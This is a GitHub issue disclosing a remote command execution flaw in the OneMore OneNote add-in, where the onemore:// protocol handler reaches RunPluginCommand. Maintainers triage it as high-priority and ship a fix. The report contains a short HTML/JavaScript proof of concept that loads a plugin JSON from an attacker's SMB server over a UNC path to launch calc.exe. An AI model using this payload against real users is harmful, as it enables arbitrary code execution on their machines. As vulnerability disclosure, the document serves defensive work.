Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exposing RunPluginCommand to protocol handler may have some security issues #1040

Closed
maple3142 opened this issue May 30, 2023 · 1 comment · Fixed by #1043
Closed

Exposing RunPluginCommand to protocol handler may have some security issues #1040

maple3142 opened this issue May 30, 2023 · 1 comment · Fixed by #1043
Assignees
Labels
bug Something isn't working high-priority High Priority released Available in a released installer

Comments

@maple3142
Copy link

I found that it is possible to call arbitrary commands using protocol handler onemore://... since CommandService.InvokeCommand calls CommandFactory.Invoke, which uses reflection to get a command to execute.

One of the command RunPluginCommand, which takes a path to json and will eventually call external process.

The problem with this is the url received from protocol handler may be malicious as it is possible to put something like <a href="onemore://..."></a> or use JavaScript to trigger it, so a attacker could abuse this together with UNC path and host a json on a samba server to get command execution on victim's machine.

For example, a victim visiting a webpage with the following html will see a browser prompt asking if they want to open Onemore or not. If the answer is yes and user also have OneNote currently opened then attacker would be able to execute calc.exe on victim's machine.

<script>
const samba = '1.2.3.4' // attacker's samba server
location.href = 'onemore://RunPluginCommand/%5C%5C' + samba+ '%5Cs%5Cplugin.json'
// plugin.json content: {"Name":"calc","Command":"calc.exe","Arguments":""}
</script>

I think it would be good to whilelist some specific safe commands only to prevent this from happening.

@stevencohn stevencohn added bug Something isn't working high-priority High Priority labels May 31, 2023
@stevencohn stevencohn self-assigned this May 31, 2023
@jasonjac2
Copy link
Sponsor

good catch. I don't know how to solve this exactly, because you do want internally be able to invoke commands like this.

stevencohn added a commit that referenced this issue Jun 3, 2023
@stevencohn stevencohn linked a pull request Jun 3, 2023 that will close this issue
@stevencohn stevencohn added next-release Addressed but not yet released released Available in a released installer and removed next-release Addressed but not yet released labels Jun 3, 2023
weissm pushed a commit to weissm/OneMore that referenced this issue Jun 4, 2023
weissm pushed a commit to weissm/OneMore that referenced this issue Jun 4, 2023
weissm pushed a commit to weissm/OneMore that referenced this issue Jun 4, 2023
weissm pushed a commit to weissm/OneMore that referenced this issue Jun 4, 2023
weissm pushed a commit to weissm/OneMore that referenced this issue Jun 4, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working high-priority High Priority released Available in a released installer
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants